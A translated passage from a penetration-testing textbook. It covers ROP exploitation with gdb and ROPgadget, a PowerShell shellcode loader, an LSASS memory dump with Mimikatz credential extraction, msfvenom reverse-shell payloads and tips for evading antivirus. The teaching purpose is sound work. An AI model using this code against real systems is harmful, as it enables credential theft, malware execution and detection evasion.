gdb buff

(gdb) info file

以下是这些命令生成的内存映射示例:

图 11.11 – gdb 中的文件信息

图 11.11 – gdb 中的文件信息

在我们的示例中,我们将为 .bss 写下 0x0804c028。现在,我们将寻找允许我们跳转程序代码的部件。

查找 pop pop ret 结构

strcpy() 函数弹出堆栈指针偏移量,用于源和目标参数,然后返回;因此,我们链条中的粘合剂是一个 pop pop ret 机器指令结构。幸运的是,这对于 ROPgadget 的 search 函数来说很容易。首先,进入交互式控制台模式,加载小工具,然后搜索相关结构。你会得到很多结果,但你要找的是一个 pop pop ret 结构,然后复制它的地址:

ROPgadget --binary buff --depth 5 –console

(ROPgadget)> load

(ROPgadget)> search pop ; pop ; ret

上述命令应生成如下截图所示的结果:

图 11.12 – 在我们的程序中找到 pop pop ret 小工具

图 11.12 – 在我们的程序中找到 pop pop ret 小工具

注意 5 字节的深度。记住,这意味着我们从给定的返回指令向后搜索 5 字节来查找小工具。但我们还没有完成 – 我们需要找到 systemstrcpy 函数的位置。

查找 system@plt 和 strcpy@plt 函数的地址

我们的 main() 函数需要调用 system()strcpy()。这是一个非 PIE 目标,所以我们要查找对应于 <system@plt><strcpy @plt> 的地址。使用 gdbdisas 命令来调查 main() 函数:

gdb 缓冲区

(gdb) disas main

请记住,我们使用 strcpy() 将所选字节复制到内存中,使用 system() 执行实际的系统命令:

图 11.13 – 标识 system@plt 和 strcpy@plt 的位置

图 11.13 – 标识 system@plt 和 strcpy@plt 的位置

现在,我们的笔记中有四个地址。现在我们只需找到代表我们命令的字符。幸运的是,它们已经存在于程序中。

使用 ROPgadget 和 Python 在内存中查找目标字符

你将尝试传递什么具体命令给 system() 是由你决定的。在我们的实际演示中,我只是启动 sh。但是,这里存在远程攻击的潜力。以以下 netcat 命令为例:

nc -e /bin/sh -lvnp 1066

这将设置一个与 sh 的会话,并将其传递给本地监听器,监听端口 1066。我们只需要在易受攻击的程序中找到构造这一行所需的字符的精确位置。这听起来很艰巨,但 ROPgadget 会通过 --memstr 标志为我们节省很多时间。自然,我们每个字符只需要一个内存地址,因此最干净的方法是直接传递我们 bash 命令中的唯一字符字符串。使用 Python 来完成这项任务,看起来很酷,还能给朋友留下深刻印象。启动交互式解释器 python3,然后运行此命令:

''.join(set('nc -e /bin/sh -lvnp 1066'))

这应该会输出一个干净的每个唯一字符一个结果,你可以将其传递给 ROPgadget,正如下面的截图所示:

图 11.14 – 处理重复字符的干净方法

图 11.14 – 处理重复字符的干净方法

使用 exit() 关闭解释器,然后将该命令的结果作为参数传递给 --memstr

图 11.15 – 每个字节的内存位置

图 11.15 – 每个字节的内存位置

对于我们的实验,我们保持简单——让我们只找到 sh; 的字符,看看我们是否能将其传递给 system。最后,让我们看看它是如何组合在一起的。

前进,前进,装备 ROP 链——将其组合起来以进行利用

我们已经很接近了,但还有一个最后的变量需要搞清楚——返回地址的偏移量。这更像是传统的溢出研究,用于注入 shellcode。所以,我们再次进入调试器。

使用 gdb 查找返回偏移量

我们的链条从 strcpy() 函数开始。我们之前已经覆盖了 EIP,这告诉处理器在哪里找到下一条指令(当然,是在一大堆 NOP 中)。在这种情况下,我们正在调整我们将要 返回 到的位置,实际上是在伪造调用帧。因此,我们需要进行足够深的溢出,以覆盖堆栈基指针 EBP。一旦找到这个合适的位置,我们就可以通过将其覆盖为我们的 strcpy@plt 地址,将流程传送到我们的第一个 strcpy() 函数:

图 11.16 – 调用帧和当前帧布局

图 11.16 – 调用帧和当前帧布局

到此为止,这应该只是你的复习内容。我们启动 gdb 并执行带有测试输入的 run 命令。最简单的方法是使用 Python 调用;例如,在 gdb 中,加载我们的目标可执行文件后:run $(python -c 'print "z" * 1028 + "AAAA"')。我们知道这将加载 1,028 个 z 字符——十六进制 0x7a——然后是 4 个 A 字符——十六进制 0x41。所以,当我们看到将 0x41414141 推送到 EBP 时,我们就知道自己已经找到了合适的地方:

图 11.17 – 预期的段错误后的内存检查

图 11.17 – 预期的段错误后的内存检查

在这种情况下,让我们检查 EBP 的值。我们的偏移量是多少?一旦你搞清楚这一点,让我们看看如何通过 Python 来传递它。

编写 Python 漏洞利用

最后,我们将其整合在一起。同样,我们在这个漏洞利用中测试的是sh;。让我们逐步分析发生了什么:

图 11.18 – Python 中的利用

图 11.18 – Python 中的利用

希望能清楚看到这一点是相当重复的——一旦你搞清楚了链条,构建更长的链条就相对简单了。请记住,由于 Python 3 处理类型的方式,我们在这个示例中使用的是 Python 2。你可以将其升级到 Python 3,只需先将字符串转换为字节即可。

请注意,我们已经从struct模块导入了pack()。这个函数使我们能够在 Python 中处理原始二进制数据,将其当作普通字符串处理。如果你特别喜欢自虐,也可以将打包字节的正则表示形式直接传递给程序作为参数。我有预感你会先尝试这种方法。有两个参数——字节顺序和类型,以及数据本身。<字符对于任何 Intel 漏洞利用来说都很重要——这是我们的小端字节顺序。

strcpy()函数的位置和我们的pop pop ret结构首先被声明,因为它们在每个链节中都会用到。之后,模式就相对简单了:

  1. 足够的填充(1,028 字节的字符z)以达到返回。

  2. 使用strcpy()的地址并返回到pop pop ret。请注意,pop pop结构对我们来说并不重要;字节已经被复制到内存中,我们正在触发返回。反复操作即可。

  3. 捕获代表命令中字符的第一个字节,并使用strcpy()pop pop ret逐字节地将其放入.bss中以保持链条继续。

  4. 以一个垃圾终止符结尾,并调用system(),指向.bss的基地址。此时,从该基地址开始,sh应该已存在于内存中。如果一切顺利,system()将执行sh

关键字是——如果一切顺利的话。一个真实的目标环境不会像你的实验室那样,存在很多因素可能导致这个攻击失败。它需要精细调试,但在一个大企业依然依赖遗留应用的世界里,我们今天仍然能看到这些攻击及其变种。希望这篇介绍能够帮助你深入研究 ROP 相关内容。

总结

近年来,一些安全专家一直在宣告 ROP 的终结。它被认为是陈旧且不可靠的,而新技术则承诺通过使用跟踪执行流中返回的影子寄存器来缓解即使是精心构建的漏洞。然而,Windows XP 已经死亡多年,但今天在大型生产环境中工作的人仍然会看到它顽强地生存着,运行着旧版应用程序。

今天,许多组织的主要工作并不是替换 XP,而是通过网络或第三方软件间接缓解,控制代码执行。ROP 目前仍然相关,即使它只是为了验证它在客户环境中无法正常工作。这种攻击的独特性使其尤其危险,尽管它目前已经显现出老化的迹象。

在本章中,我们回顾了 DEP 和 ASLR 作为理论概念,并在 Linux 上演示了这些技术的实际应用。我们介绍了 ROP 以及两种主要的工具:MSFrop 和 ROPgadget。我们编写了一个存在重大漏洞的 C 程序,并保持默认保护不变。章节的其余部分讲解了 ROP 的基础知识,包括返回到 PLT、返回到 libc、gadget 发现和复习。我们探索了如何将这些部分结合起来形成一个可行的漏洞利用。

在下一章中,我们将通过深入探讨防病毒逃避技术来结束我们的 shellcoding 回顾。我们将不再绕过堆栈保护机制,而是学习如何将我们的代码附加到注入的可执行文件中,并学习如何将我们的 shellcode 传递给脚本解释器。我们将亲自操作 PowerShell,学习如何利用 PowerShell 在 Windows 操作系统中的特权位置,并发挥它的优势。

问题

回答以下问题,以测试你对本章内容的掌握:

  1. 列出 Windows 中两种类型的 DEP。

  2. 定义libc

  3. 在返回之前,一个 gadget 的长度最多可以有多少字节?

  4. gcc -no-pie禁用 _______________ 硬化。

  5. PLT 和 GOT 之间有什么区别?

  6. 用 gdb 快速找到system@plt的方法是什么?

  7. 为什么pack(">I", 0x0804a02c)函数在 x86 处理器上的 ROP 上下文中不起作用?

进一步阅读

有关本章所涉及主题的更多信息,请查看以下资源:

第十二章:Shell 编码 – 规避杀毒软件

自 1971 年 Creeper 蠕虫在 ARPANET 上 PDP-10 主机之间传播以来,恶意软件的复杂性已经发生了极大变化。由于对未来充满未知,很少有人完全理解这一新生“怪物”的潜力。理解恶意软件潜力的先驱之一是计算机科学家 Fred Cohen,他首次定义了计算机病毒的概念,并发明了对抗计算机病毒的首个方法论。在他 1987 年的开创性论文《计算机病毒——理论与实验》中,Cohen 展示了计算机病毒的绝对精确检测是一个不可判定的问题——即一个需要做出“是”或“否”判断的问题,但没有任何系统能够始终给出正确答案(甚至任何答案)。他展示了系统间共享能力与病毒传播潜力之间的简单关系。在随后的几年里,技术的共享能力达到了跨代影响的水平,其潜力可能尚未完全被认识到。随着计算机病毒的能力逐渐成熟,这一问题的复杂性同样需要进一步发展。

这一背景是今天许多人所称的计算机安全中的猫捉老鼠问题的起源。我们无法在不帮助对方的情况下,单方面显著提高其中一方的水平。在渗透测试的世界里,这告诉我们永远不要放弃规避恶意软件防御机制的希望,当我们成功时,我们为客户提供关于他们环境中漏洞的真正前沿信息。我们将探讨现代的防御探测方法,以及如何在不离开办公桌的情况下研究更底层的抽象层。

本章将涵盖以下内容:

  • 使用 PowerShell 和 Windows API 将 Shellcode 注入内存

  • 使用 PowerShell 和 Windows API 从内存中窃取凭证

  • 在 Kali 中反汇编 Windows Shellcode 可执行文件

  • 使用自定义 Shellcode 为 Windows 可执行文件植入后门

技术要求

我们在测试中需要以下前提条件:

  • Kali Linux

  • Windows 10 或 7 虚拟机

使用 PowerShell 进行离线操作

“你就像个婴儿,发出噪音,不知道该做什么。”

阿凡达中的内蒂莉

所以,你有了一些美味的 shellcode,需要执行它。你可以直接从 msfvenom 生成一个可执行文件,但我不认为世界上有任何一个防病毒产品能避免检测到这个。我们也曾使用 Shellter 进行动态注入,并且在本章后面我们将进一步探讨更多无害的 便携式可执行文件PEs)的寄生方式——但再次强调,我们是将指令嵌入到一个二进制文件中,期望在防病毒软件判断程序是安全的情况下偷偷绕过它。另一方面,脚本并不是机器代码。它们是需要被解释的高级指令——实际的机器代码是在解释器中运行的。虽然这并非万无一失,且防病毒供应商早已意识到我们这些脚本编写者的行为,但它在恶意意图和实际执行之间增加了一层诱人的抽象。

在我那个时代,我们必须将工具集拖到目标机器上然后开始工作。现在的孩子们,Windows 目标系统上自带 PowerShell,它可以像任何 PE 文件一样与 Windows API 进行交互。这为 利用现有资源LotL)方法开辟了一个全新的世界——利用目标上已经存在的资源。这并不新鲜——例如,攻击 Linux 主机早就有了像 Python 这样的工具可以在目标机器上存在的潜力。Windows 目标系统的情况差异很大,从系统管理员的工具宝库到简单的嵌入式系统都有,因此在获得初步立足点后,把你的工具搬过去可是件很麻烦的事。

这里的核心概念是解释器已经存在,并且任何防御软件都知道它不是恶意软件。不要被误导认为这意味着你的数字恐怖活动可以自由进行——正如本书其他地方所述,防御并愚蠢。他们非常清楚这个攻击途径,终端保护产品在捕获这些方法上的成功率各不相同。在今天的时代,即使某个行为没有被阻止,检测技术也已经有了快速的提升——你可能成功执行了恶意 PowerShell 命令,并以为自己安全无虞,但在你开始获取战利品之前,防御分析师已经在审查你的活动了。你应该始终了解你的目标环境,并相应地制定计划。回想一下第一章开放源代码情报,开放源代码情报的价值以及你的客户中有人可能已经在供应商论坛上寻求帮助的可能性。你或许已经能获得有关防御情况的线索。它们使用 McAfee 吗?那么你需要在一个隔离的 McAfee 环境中调查你的攻击。也许在 80%的供应商中会被标记的攻击在你的目标环境中就会被忽视。那么如果你的攻击测试环境中被标记了呢?尝试进行一些修改。令人惊讶的是,即使在今天这个攻击手段复杂的时代,一些供应商会最初阻止一个脚本,但在修改了一些变量名后又允许它运行。

讲完这些哲学性话题后,让我们来看看你可能如何在目标上使用 PowerShell 发起一些意想不到的攻击——无需下载任何文件。

注入 Shellcode 到解释器内存

正如某位名人曾经说过,“不要问 PowerShell 能为你做什么,而是问你能用 Windows 原生 API 做什么。” 好吧,好像没有哪个名人说过这句话,但这是个不错的建议。PowerShell 只是我们连接原生 API 函数并利用其功能的桥梁。在这种情况下,我们将调用 kernel32.dllmsvcrt.dll 中的函数。我们需要 kernel32.dll 来为我们的使用保留内存并在这段保留的空间内启动一个新线程;然后,我们使用 msvcrt.dll(C 运行时库),以便我们可以用特定字符设置保留空间中的每个位置——在我们这个案例中,就是将每个字节的位置填充为 shellcode。

首先,我们将用 C# 签名定义函数;这些函数将存储在名为 $signatures 的变量中。然后,我们使用 Add-Type 将它们引入我们的 PowerShell 会话。我们来看看:

$signatures = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 
[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 
[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'; 
$functionImport = Add-Type -MemberDefinition $signatures -Name "Win32" -NameSpace Win32Functions -PassThru;

好的,这并没有那么痛苦。我们创建了 $signatures 变量,并且在其中包含了将两个 DLL 中的三个函数引入的代码。最后,我们创建了一个名为 $functionImport 的对象,它现在包含了这些函数。从这时起,我们只需要与 $functionImport 交互来调用这些函数。

现在,我们需要创建一个名为$shellcode的字节数组。这个数组将包含我们有效负载的每个字节,我们将使用For循环来依次引用每个元素:

[Byte[]] $shellcode = <Tasty Bytes Go Here>; 
$size = $shellcode.Length
$allocSpace = $functionImport::VirtualAlloc(0, $size, 0x3000, 0x40);

请注意,我们告诉VirtualAlloc()精确的 shellcode 大小。其他参数呢?在你解析这段代码(以及你未来在职业生涯中遇到的其他代码)时,注意我们最初是如何定义这些参数的:IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect。这告诉我们,VirtualAlloc()将按顺序期待一个地址、一个大小、一个分配类型以及分配空间中将使用的内存保护类型。像往常一样,我鼓励你跳出这些页面,深入了解更多细节。

我们的倒数第二步是使用memset()将我们分配空间的每个位置设置为来自 shellcode 的一个字符。正如你能想象的那样,最佳的实现方式是使用For循环。我们将声明一个名为$position的计数器,并随着它的递增,memset()会将相应的字节设置到分配空间中,使用$position作为偏移量,结合$allocSpace来确定确切的位置:

For ($position = 0; $position -le ($shellcode.Length - 1); $position++) { 
    $functionImport::memset(IntPtr + $position), $shellcode[$position], 1) 
};

陷阱已设下。我们只需要执行它。正如你从我们定义$signatures时记得的,传递给CreateThread()的第三个参数是起始地址——在这个例子中就是$allocSpace。最后,为了在新线程运行时保持进程的持续运行,我们使用While ($true)来创建一个无限休眠。或许有一天会做个美梦?

$functionImport::CreateThread(0, 0, $allocSpace, 0, 0, 0); 
While ($true) { 
    Start-Sleep 120 
};

在我们兴奋的过程中,差点忘了生成 shellcode!当然,可能性是无穷的。为了演示,我们就生成一段快速的消息框 shellcode,使用msfvenom

图 12.1 – 在 PowerShell 字节格式中生成有效负载

图 12.1 – 在 PowerShell 字节格式中生成有效负载

永远有用的msfvenom会输出结果为 PowerShell 格式并将其命名为$buf。你可以单独复制并粘贴字节,或者只需重命名变量。当我在我的 Windows 10 实验室中运行这段代码时,控制台会在For循环使用memset()时打印每个地址位置。最后,我们看到 shellcode 成功执行:

图 12.2 – 执行的有效负载

图 12.2 – 执行的有效负载

请注意,还有一些相关的函数叫做VirtualAllocEx()CreateRemoteThread()。它们有什么区别呢?这两个函数实现的效果是一样的,只不过是作用于另一个进程的内存。通过在这里使用这些函数,PowerShell 解释器正在它自己的内存中分配空间并在自己的进程下启动一个新线程。秉持着我们的口号,防御不可傻,有很多方法可以捕捉到这种行为。然而,要跟上所有变化是非常困难的,而且有些厂商直到今天仍然依赖旧的方法。保持灵活的思维!

挑战自我 – 使用 PowerShell 进行即时 LSASS 内存转储

让我们继续使用 PowerShell 与 Windows API 进行实时交互的主题。这一次,我们不打算注入任何内容;我们要使用 Windows 本地的调试功能来攻击 本地安全授权服务器服务(LSASS)。这种行为 应该 被拦截,但我们发现,在某些配置和某些 AV 供应商的情况下,这仍然有效。

战争故事 – 一个真实的攻击场景

最近,我参与了一次主要基于 Windows 10 环境的红队评估。团队中的一位成员编写了一个精妙的工具,利用 Windows 本地的内存转储方法来转储 LSASS 内存,并调用 Mimikatz 提取凭证。这个工具一直都能正常工作,直到有一天,终端保护软件更新了,开始拦截它。几周后,我在一台安装了流行远程控制软件 VNC、且密码较弱的主机上工作,而 Windows 会话也保持解锁状态。因此,我可以虚拟地坐到键盘前。我写出了同样工具的 PowerShell 版本,然后将文本托管为一个网页。通过目标 PC 上的浏览器,我访问了该页面,复制了 PowerShell 脚本的文本,将其粘贴到 PowerShell 会话中并按下回车。它成功了!我得到了 LSASS 内存的转储,而且不需要下载任何东西。

这篇写得很简短,一旦你习惯了,就能省去一些代码行。和我们的内存注入攻击类似,我们正在利用本地方法。在这种情况下,我们使用了 MiniDumpWriteDump(),这是一个为我们创建小转储文件的函数。我们可以指定要转储的进程,那么让我们看看当我们尝试对 LSASS 进程进行操作时会发生什么。开始吧:

$WinErrRep = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$werNativeMethods = $WinErrRep.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $werNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)

到目前为止,一切顺利。我们引入了 WindowsErrorReporting,它允许我们在某些崩溃发生时找出问题所在。本质上,我们希望能够像调查普通的 蓝屏死机(BSoD) 崩溃一样,调查 LSASS。在我们可以使用的各种方法中,我们选择了 MiniDumpWriteDump()。现在,我们需要定义目标进程以及转储文件的目的地。

$MiniDumpfull = [UInt32] 2
$lsass = Get-Process lsass
$ProcessId = $lsass.Id
$ProcessName = $lsass.Name
$ProcessHandle = $lsass.Handle
$ProcessFileName = "$Home\Desktop\pirate_booty.dmp"

如你所想,我们可以针对任何我们想要的进程。在一次评估中,我获得了对 SCADA 设备的访问,并使用这段脚本从管理工业过程的专有客户端中转储了内存。我们为 $lsass 的每个属性声明了变量,并定义了转储文件的目标位置——本地桌面:

$FileStream = New-Object IO.FileStream($ProcessFileName, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @(
    $ProcessHandle,
    $ProcessId,
    $FileStream.SafeFileHandle,
    $MiniDumpfull,
    [IntPtr]::Zero,
    [IntPtr]::Zero,
    [IntPtr]::Zero))
$FileStream.Close()
If (-not $Result) {
    $Exception = New-Object ComponentModel.Win32Exception
    $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
    Remove-Item $ProcessFileName -ErrorAction SilentlyContinue
    Throw $ExceptionMessage
} Else {
    Exit
}

最后是我们操作的核心部分。我们创建了一个 FileStream 对象,当调用 MiniDumpWriteDump() 时会引用它。它指向我们刚刚指定的桌面文件位置。为了方便起见,我们还加入了一些错误处理,以防途中遇到问题,但这部分你不需要。如果操作成功,你会在桌面看到一个名为 pirate_booty.dmp 的大文件。我们正在转储 LSASS,因此理论上它应该是一个庞大的兆字节文件。如果你没有看到失败,但文件大小为零,那就表示没有成功。

这次攻击的好处在于,我们仅仅是收集一个转储文件;我们不担心 Mimikatz 被杀毒软件检测到,因为它已经回到我们的攻击主机。此时唯一的要求是将转储文件从目标机器拿回来。一旦我们得到了有用的文件,我们调用 Mimikatz 并传递两个命令来强制进行本地文件分析:

mimikatz # sekurlsa::minidump <文件名>

mimikatz # sekurlsa::logonPasswords

让你的眼睛闪烁,享受眼前的宝藏,就像查理第一次看到巧克力棒里的金色票券时的表情。请记住,我们看到的是实时运行的 LSASS 转储,因此这里可能有缓存的域凭证,我们无法看到。额外的好处是,无论我们在这里找到什么,都是最新的:

图 12.3 – 使用 Mimikatz 从 LSASS 转储中提取凭证

图 12.3 – 使用 Mimikatz 从 LSASS 转储中提取凭证

你可以将这些信息用于横向移动——例如,将这里提取的哈希值放入 Metasploit 的 PSEXEC 模块中的 PASSWORD 字段。我能听到你此刻在问,“难道这就这么简单吗?”

保持灵活 —— 调整脚本

如果你照字面输入这些命令,并在刚安装的 Windows 10 上运行,可能会遇到 Defender 的问题。关于杀毒软件(AV)最重要的一点是,它并不是某一个单一的产品或策略;有许多供应商使用各自的专有方法,它们也可能有自己的独特忽视之处。例如,假设一个公司通过他们的合同支持协议向杀毒软件供应商报告了一个假阴性(即没有检测到的病毒)。供应商通常会抓取报告文件的 SHA256 指纹,并将其加入下一个版本的病毒库签名中,这意味着你只需要改变源代码中的一个字符,就可以得到一个未知的程序。

有时,操作非常简单,只是添加注释 —— 它们完全不会改变程序的行为,但增加了额外的信息。你甚至可以改变变量名:

图 12.4 – 使用 Notepad++ 的查找和替换功能调整变量名

图 12.4 – 使用 Notepad++ 的查找和替换功能调整变量名

再次强调,脚本的行为没有发生任何改变。任何值得信赖的防病毒(AV)产品都应该能够捕捉到某些行为,不管调用过程是多么巧妙。但是,“应该”是这里的关键字,因此总是值得一试。没有一种通用的解决方案可以绕过防病毒软件;你需要根据目标的环境来设计绕过方法。

通过回顾几种自给自足的生存技巧,让我们更深入地了解一下shellcode的生成过程。

理解 Metasploit shellcode 的传递方式

我们通过msfvenom生成的 shellcode,最终是机器代码,告诉处理器如何执行某些操作,例如绑定到本地端口。一旦我们了解了低级概念,如堆栈、堆、虚拟地址空间和汇编语言,那么对 shellcode 的描述就足够直观。

Shellcoding艺术有两个关键考虑因素:目标执行环境的特性和实际的 shellcode 传递方式。第一个考虑因素包括字节序和破坏 shellcode 的字符;这个分析决定了0x20在 shellcode 中正常工作的情况与0x20成为我们需要避开的几个字符之一的情况。第二个考虑因素包括类似我们在堆喷射攻击中所涉及的情境,我们需要使用unescape()函数来解析字节。shellcode 的传递必须考虑到过滤机制的潜在影响。同样,shellcode 最终是机器代码,但当我们编写利用代码时,shellcode 作为一个变量可能需要被当作字符串处理,然后传递到一个可能会或不会理解这些字符串的函数中。shellcoding 的部分艺术就是“走私”。

编码器理论与技术 —— 什么是编码,什么不是编码

msfvenom 帮助我们成为有效走私者的方式之一是通过提供编码器。编码器通过可逆算法将 shellcode 字节转化为另一种形式;然后,解码器存根被附加到 shellcode 上。现在,你经常会看到关于编码器以及它们在绕过 AV 保护方面的价值的讨论。明智的做法是不要沉迷于通过编码绕过 AV 以实现不可检测的有效载荷的梦想,原因有几个。首先,编码器实际上是用来帮助处理输入验证问题的;它们并不是为了绕过 AV。举个例子,假设你找到一个从用户获取输入的应用程序。你通过测试发现,如果你溢出缓冲区,就能控制执行;因此,你开始尝试通过该应用的用户输入机制传递 shellcode。如果输入机制不允许某些字符,尽管没有边界检查,你也会被卡住。这就是编码器的真正用途。其次,更重要的是,使用编码器进行 AV 规避的概念意味着,AV 只关注表示 shellcode 的特定字节序列。作为黑客,我们应该更明白这一点。即使是简单的基于签名的 AV 扫描器也能检测到如解码器存根和其他 Metasploit、BDF、Shellter、Veil 等的标志。如今市场上更先进的 AV 产品使用了更复杂的检查:它们将代码放入沙箱中,实际观察其功能;它们使用机器学习启发式算法;它们从数百万终端设备中每分钟收集小块信息,黑客们正在尝试各种方法。我很抱歉要打破这个泡沫,但最好放弃通过今天的 AV 产品悄悄通过 shellcode 的梦想。我听到后面有人说:“但上周那个零日恶意软件没有被 AV 检测到,我有个朋友用 msfvenom 和 BDF 等工具生成了一个完全不可检测的 Trojan。”我不是说 AV 规避已经死了——事实上,正如我在本书中展示的那样,它依然生机勃勃。

强调的是 万无一失。从中可以得到的启示是,你必须尽可能了解你的目标环境。我们很容易沉迷于疯狂的打字黑客技术,以至于忘记了传统的侦察工作。

但我跑题了。我们来快速看看 x86/shikata_ga_nai 编码器,感受一下它的工作原理。我们不会深入探讨编码器内部的机制,但这是一个回顾在 Kali 中检查 Windows 可执行文件汇编的好机会。

在 Kali 中的 Windows 二进制文件反汇编

我们要做的事情非常简单——生成三个 Windows 二进制文件。两个文件将使用完全相同的参数——我们将执行相同的msfvenom命令两次,输出到不同的文件名以便比较——但是会使用x86/shikata_ga_nai编码器。然后,我们将生成相同的 shellcode 作为 Windows 二进制文件,但不使用任何编码器。负载是一个简单的反向 TCP shell,指向我们的主机192.168.108.117,端口为1066

msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --encoder x86/shikata_ga_nai --format exe > shell1.exe

msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --encoder x86/shikata_ga_nai --format exe > shell2.exe

msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --format exe > shell_noencode.exe

使用sha256sum比较两个编码后的 payload EXE 文件。在不查看单个字节的情况下,我们可以看到每次迭代的代码都是唯一的:

图 12.5 – 比较我们两个编码后的恶意软件 PE 文件的指纹

图 12.5 – 比较我们两个编码后的恶意软件 PE 文件的指纹

在 Kali 中分析二进制文件有两个不可或缺的工具:xxdobjdumpxxd是一个十六进制转储工具,它将二进制文件的原始内容以十六进制形式输出。objdump是一个更通用的工具,用于分析对象文件,但它的功能使其成为一个便捷的反汇编器。将这些工具的强大功能与grep结合,你就有了一种快速粗略地查找二进制文件中特定模式的方法。让我们从对未编码的 Windows 后门进行反汇编开始:

objdump -D shell_noencode.exe -M intel

请注意,我使用的是 Intel 格式的反汇编;毕竟这是一个 Windows 可执行文件。即使是 Windows 爱好者,在 Kali 上查看反汇编也能感到得心应手。这是一个很大的输出——请拿杯咖啡,慢慢浏览。在此期间,让我们看看能否在这个文件中找到LHOST的 IP 地址。我们知道192.168.108.117的十六进制表示是c0.a8.6c.75,所以让我们使用grep来找出它:

objdump -D shell_noencode.exe -M intel | grep "c0 a8 6c 75"

图 12.6 – 使用 objdump 和 grep 查找特定指令

图 12.6 – 使用 objdump 和 grep 查找特定指令

40888a处,我们找到将目标 IP 地址压入堆栈的指令。试着在其中一个编码后的文件中找到相同的字节。差一点就对了。所以我们知道编码器已经有效地加密了这些字节,但我们也知道使用相同编码器和相同参数生成的两个文件的哈希值是不同的。我们可以将这两个二进制文件的十六进制转储并排放置,了解x86/shikata_ga_nai做了什么。

向下滚动到.text部分,看看两个二进制文件中常见的字节序列:

图 12.7 – 寻找两个二进制文件之间的模式

图 12.7 – 寻找两个二进制文件之间的模式

如果仔细观察这段内存快照,你会发现有很多相同的字节序列;我已经突出显示了从 0x00001010 开始的单行中的几个字节。现在,我们可以回到我们的反汇编代码,并对这里发生的情况进行分析:

图 12.8 – 使用 objdump 和 grep 分析两个编码后的 PE 文件

图 12.8 – 使用 objdump 和 grep 分析两个编码后的 PE 文件

尽管输出是独特的,我们仍然能看到一些明显的相似之处。在这个例子中,两个二进制文件在内存的相同位置有类似的指令:push 0x6fd1d8push 0x40d1d8push 的操作码是 68,接下来的两个字节 d8 d1 在操作数中是反向排列的。没错,这是小端字节顺序!这些模式有助于我们理解编码过程的工作原理,同时也帮助我们理解 AV 扫描器如何检测到我们的编码 shellcode。

现在我们已经有了一些关于如何分析我们的创作以更好地理解它们如何工作的思路,接下来让我们回到实际的攻击,进行 shellcode 注入。

使用 Backdoor Factory 注入

第七章使用 Metasploit 进行高级利用,我们花了一些时间研究了 Shellter,这是一个用于动态注入到 Windows 可执行文件中的工具。Shellter 通过检查机器码和所选可执行文件的执行流程,识别出在不创建明显结构的情况下注入 shellcode 的方法;最终结果是一个具有高度抗 AV 检测能力的可执行文件,准备运行你的有效负载。虽然有一些类似的工具,但 Shellter 是其中最好的之一,但它也有几个限制——即,它是一个 Windows 应用程序,并且只能修补 32 位二进制文件。第一个限制并不是什么大问题,考虑到我们可以通过 Wine 运行它,但根据不同的视角,这也许会被认为是个缺点。第二个限制也不是什么大问题,因为任何 32 位应用程序在 64 位 Windows 上都能正常运行,但在面对强大防御的情况下,我们需要更多的选择,而不是更少。

第七章使用 Metasploit 进行高级利用 中,我们正在探索快速而简便的 AV 绕过方法,以便将 Metasploit 有效负载偷偷注入。在本节中,我们采取更高级的方式来理解 Windows 二进制文件中的 shellcode 注入。这一次,我们将研究 Backdoor Factory** (BDF**).

使用 PyEnv 进行时间旅行

BDF 唯一的问题是它已经有多年未更新了。它是如此有用的工具,依然相关;然而,由于它是用旧版本的 Python 编写的,我们必须能够将我们自己的 Python 安装回到过去。作为复习,Python 2 已于 2020 年 1 月 1 日正式结束生命周期,因此强烈推荐今后使用 Python 3。幸运的是,有一个工具可以让我们只通过一个命令就能改变全局 Python 版本,这样我们就能在 Python 3 和 Python 2 之间切换——它叫做 PyEnv。让我们安装 PyEnv,并回到 Python 2.7.18。准备好零食——这只需要一组命令:

apt update

apt install -y build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl git

curl https://pyenv.run | bash

此时,PyEnv 会检测到它不在加载路径中。它会推荐你在 Z Shell 配置中添加三行。幸运的是,从那里开始就只需复制粘贴了。使用 echo 将它们添加进去,然后重启 shell:

echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc

echo 'command -v pyenv >/dev/null || export PATH="\(PYENV_ROOT/bin:\)PATH"' >> ~/.zshrc

echo 'eval "$(pyenv init -)"' >> ~/.zshrc

exec $SHELL

最后,我们可以登上时光机:

pyenv install 2.7.18

pyenv global 2.7.18

重启你的电脑并验证你是否真的在玩弄过去的老玩具:

图 12.9 – 验证我们正在运行 Python 2

图 12.9 – 验证我们正在运行 Python 2

安装 BDF

我们只需使用 pip 获取一些 Python 依赖:

python -m pip install pefile

python -m pip install capstone

最后,我们可以使用 git 克隆 BDF:

git clone https://github.com/secretsquirrel/the-backdoor-factory

cd the-backdoor-factory

./install.sh

让我们开始使用这些新玩具。

代码注入基础知识 – 使用 BDF 进行微调

